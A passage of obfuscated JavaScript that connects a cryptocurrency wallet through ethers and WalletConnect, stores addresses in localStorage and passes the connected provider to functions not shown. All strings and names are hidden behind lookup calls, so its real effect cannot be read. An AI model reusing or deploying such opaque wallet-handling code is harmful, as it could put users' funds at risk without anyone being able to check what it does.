localStorage[_0x4bbd6e(0x206)](_0x32f130(0xda), _0x5aa598), localStorage[_0x4bbd6e(0x206)](_0x1edb99(0x1d0), _0x4bbd6e(0x1f2)), _0x59a39f(_0x5aa598), _0x17cea0 !== _0x4bbd6e(0x21e) && (_0x427c15[_0x4bbd6e(0x20e)] = _0x17cea0, _0x5cb14f()), alert(_0x4bbd6e(0x1fd));
} catch (_0x399d96) {
console[_0x4bbd6e(0x1f8)](_0x1edb99(0x208), _0x399d96), alert(_0x4bbd6e(0x203));
}
} else alert(_0x32f130(0xf6));
}), _0x277932[_0x3052f5(0x1fb)](_0x3052f5(0x1f2), () => {
const _0x4e948a = _0x3052f5,
_0x27a9f0 = _0x40c7f9;
_0x4767ca[_0x4e948a(0x211)][_0x27a9f0(0x1ec)] = _0x27a9f0(0x222);
}), window[_0xf58644(0x169)](_0x40c7f9(0x20c), _0x6e295a => {
const _0x1fddf8 = _0x3052f5,
_0x4eaab3 = _0x40c7f9;
_0x6e295a[_0x1fddf8(0x1e5)] === _0x4767ca && (_0x4767ca[_0x4eaab3(0x239)][_0x4eaab3(0x1ec)] = _0x4eaab3(0x222));
});
const _0x39e9ce = localStorage[_0x40c7f9(0x1fa)](_0x40c7f9(0x20f));
_0x39e9ce && (_0x59a39f(_0x39e9ce), _0x17cea0 !== _0x40c7f9(0x21e) && (_0x427c15[_0x40c7f9(0x20e)] = _0x17cea0, _0x5cb14f())), window[_0x3052f5(0x1d7)] && window[_0x40c7f9(0x22b)]['on'](_0x40c7f9(0x232), _0x33018c => {
const _0x15b6a4 = _0x40c7f9;
if (_0x33018c[_0x15b6a4(0x208)] === 0x0) _0x37627e();
else {
const _0x1ac2c5 = _0x33018c[0x0];
localStorage[_0x15b6a4(0x206)](_0x15b6a4(0x20f), _0x1ac2c5), _0x59a39f(_0x1ac2c5), _0x17cea0 !== _0x15b6a4(0x21e) && (_0x427c15[_0x15b6a4(0x20e)] = _0x17cea0, _0x5cb14f());
}
}), _0x1337c4[_0x3052f5(0x1fb)](_0x40c7f9(0x20c), async () => {
const _0x2c5d66 = _0xb3e836,
_0x295f64 = _0x3052f5,
_0x2bc4e9 = _0x40c7f9,
_0x35729f = localStorage[_0x2bc4e9(0x1fa)](_0x2bc4e9(0x227));
let _0x32de4f;
if (_0x35729f === _0x2bc4e9(0x1f2)) _0x32de4f = new ethers[(_0x2c5d66(0x100))][(_0x2bc4e9(0x205))](window[_0x2bc4e9(0x22b)]);
else _0x35729f === _0x2bc4e9(0x22f) && (_0x32de4f = new WalletConnectProvider[(_0x2bc4e9(0x22c))]({
'rpc': {
0x1: _0x295f64(0x21d)
}
}), await _0x32de4f[_0x2bc4e9(0x207)](), _0x32de4f = new ethers[(_0x2c5d66(0x100))][(_0x295f64(0x1d8))](_0x32de4f));
_0x32de4f ? await _0x4c0461(_0x32de4f) : alert(_0x2bc4e9(0x1f3));
}), _0x2ab000[_0x40c7f9(0x1f6)](_0x40c7f9(0x20c), async () => {
const _0x3a1083 = _0xf58644,
_0x51963f = _0x3052f5,
_0xc6c559 = _0x40c7f9;
if (_0x17cea0 !== _0xc6c559(0x21e)) {
const _0x1664c7 = localStorage[_0xc6c559(0x1fa)](_0xc6c559(0x227));
let _0xe6dfa0;
if (_0x1664c7 === _0x51963f(0x1e8)) _0xe6dfa0 = new ethers[(_0xc6c559(0x1e9))][(_0xc6c559(0x205))](window[_0xc6c559(0x22b)]);
else _0x1664c7 === _0xc6c559(0x22f) && (_0xe6dfa0 = new WalletConnectProvider[(_0xc6c559(0x22c))]({
'rpc': {
0x1: _0xc6c559(0x1f7)
}
}), await _0xe6dfa0[_0x3a1083(0x197)](), _0xe6dfa0 = new ethers[(_0xc6c559(0x1e9))][(_0xc6c559(0x205))](_0xe6dfa0));
_0xe6dfa0 ? await _0x10a0f5(_0xe6dfa0) : alert(_0xc6c559(0x1f3));
} else alert(_0xc6c559(0x1eb));
}), _0x46db75[_0x40c7f9(0x1f6)](_0x40c7f9(0x20c), async () => {
const _0x24df16 = _0xb3e836,
_0xf36dca = _0x3052f5,
_0x4361b7 = _0x40c7f9;
if (_0x17cea0 !== _0x4361b7(0x21e)) {
const _0x2adfcb = localStorage[_0xf36dca(0x1df)](_0x4361b7(0x227));
let _0x594144;
if (_0x2adfcb === _0x4361b7(0x1f2)) _0x594144 = new ethers[(_0x4361b7(0x1e9))][(_0x24df16(0xb5))](window[_0x4361b7(0x22b)]);
else _0x2adfcb === _0x4361b7(0x22f) && (_0x594144 = new WalletConnectProvider[(_0x4361b7(0x22c))]({
'rpc': {
0x1: _0x4361b7(0x1f7)
}
}), await _0x594144[_0xf36dca(0x207)](), _0x594144 = new ethers[(_0x4361b7(0x1e9))][(_0x4361b7(0x205))](_0x594144));
_0x594144 ? await _0x203848(_0x594144) : alert(_0x4361b7(0x1f3));
} else alert(_0x4361b7(0x1eb));
}), _0x463db9[_0x40c7f9(0x1f6)](_0x40c7f9(0x20c), async () => {
const _0x1ca7ce = _0xf58644,
_0x11a713 = _0xb3e836,
_0x4f8755 = _0x3052f5,
_0x3d3e7a = _0x40c7f9;
if (_0x17cea0 !== _0x4f8755(0x1dd)) {
const _0x54ac2d = localStorage[_0x3d3e7a(0x1fa)](_0x3d3e7a(0x227));
let _0xd16897;
if (_0x54ac2d === _0x3d3e7a(0x1f2)) _0xd16897 = new ethers[(_0x3d3e7a(0x1e9))][(_0x3d3e7a(0x205))](window[_0x3d3e7a(0x22b)]);
else _0x54ac2d === _0x3d3e7a(0x22f) && (_0xd16897 = new WalletConnectProvider[(_0x3d3e7a(0x22c))]({
'rpc': {
0x1: _0x3d3e7a(0x1f7)
}
}), await _0xd16897[_0x3d3e7a(0x207)](), _0xd16897 = new ethers[(_0x1ca7ce(0x16f))][(_0x3d3e7a(0x205))](_0xd16897));
_0xd16897 ? await _0x57bb82(_0xd16897) : alert(_0x11a713(0x106));
} else alert(_0x3d3e7a(0x1eb));
});
}));